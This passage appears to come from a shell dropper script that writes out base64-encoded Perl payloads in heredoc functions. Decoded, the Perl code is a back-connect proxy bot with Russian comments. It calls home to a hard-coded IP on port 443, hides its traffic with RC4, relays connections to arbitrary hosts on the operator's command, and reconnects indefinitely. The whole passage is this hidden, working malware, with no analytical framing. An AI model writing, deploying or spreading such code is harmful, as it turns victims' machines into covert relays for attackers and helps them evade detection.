ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_4() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
